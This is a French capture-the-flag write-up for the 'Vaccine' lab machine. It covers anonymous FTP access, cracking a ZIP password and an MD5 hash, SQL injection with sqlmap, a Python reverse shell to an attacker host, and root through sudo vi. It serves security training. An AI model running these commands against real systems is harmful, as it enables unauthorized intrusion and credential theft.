Vaccine

This content is not available in your language yet.

OS	Difficulty	Target
Linux	VERY EASY	10.129.x.x

Résumé

Machine Linux avec un service FTP permettant l’accès anonyme. Un fichier ZIP protégé par mot de passe contient des credentials pour un dashboard web vulnérable à l’injection SQL. Exploitation via sqlmap pour obtenir un shell, puis escalade de privilèges via sudo sur vi.

Reconnaissance

Scan de ports

nmap -T4 <IP>

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Scan détaillé

nmap -A -p 21,22,80 <IP>

Port	Service	Version
21	FTP	vsftpd 3.0.3 (anonymous login)
22	SSH	OpenSSH 8.0p1 Ubuntu
80	HTTP	Apache 2.4.41

Enumération

FTP (21)

Connexion anonyme autorisée :

ftp Anonymous@<IP>
# Password: (vide)

ftp> ls
ftp> get backup.zip
ftp> quit

Cracking du ZIP

Le fichier est protégé par mot de passe :

zip2john backup.zip > hash.txt
john --wordlist=rockyou.txt hash.txt

Contenu du ZIP

unzip backup.zip

Fichiers extraits : index.php, style.css

Dans index.php, on trouve un hash MD5 pour l’utilisateur admin.

Cracking du hash MD5

hashcat -m 0 -a 0 <hash> rockyou.txt

Exploitation

Dashboard web

Connexion sur http://<IP>/dashboard.php avec les credentials trouvés.

Le paramètre search est vulnérable à l’injection SQL (PostgreSQL).

SQL Injection avec sqlmap

sqlmap -u "http://<IP>/dashboard.php?search=" --os-shell --cookie="PHPSESSID=<session>"

Vulnérabilités détectées :

Boolean-based blind
Error-based
Stacked queries
Time-based blind

Shell obtenu en tant que postgres.

Reverse shell

Depuis l’os-shell sqlmap, utiliser un reverse shell Python :

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ATTACKER_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Listener :

nc -lvn 4444

Stabilisation du shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=/bin/bash
# Ctrl+Z
stty raw -echo && fg

Escalade de privilèges

Mot de passe postgres

Chercher dans les fichiers de configuration web (ex: dashboard.php).

Enumération sudo

sudo -l

L’utilisateur postgres peut exécuter vi sur un fichier spécifique en tant que root.

Exploitation via vi (GTFOBins)

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Dans vi :

:!/bin/bash

Root obtenu.

Flags

cat /var/lib/postgresql/user.txt
cat /root/root.txt

A retenir

Toujours vérifier l’accès FTP anonyme
zip2john + john pour cracker des ZIP protégés
Les fichiers de backup peuvent contenir des credentials en clair
Chercher les mots de passe dans les fichiers de config web (dashboard.php, config.php, .env)
sudo -l est la première commande à exécuter pour le privesc
vi/vim avec sudo permet d’obtenir un shell root via :!/bin/bash
Référence : GTFOBins - vi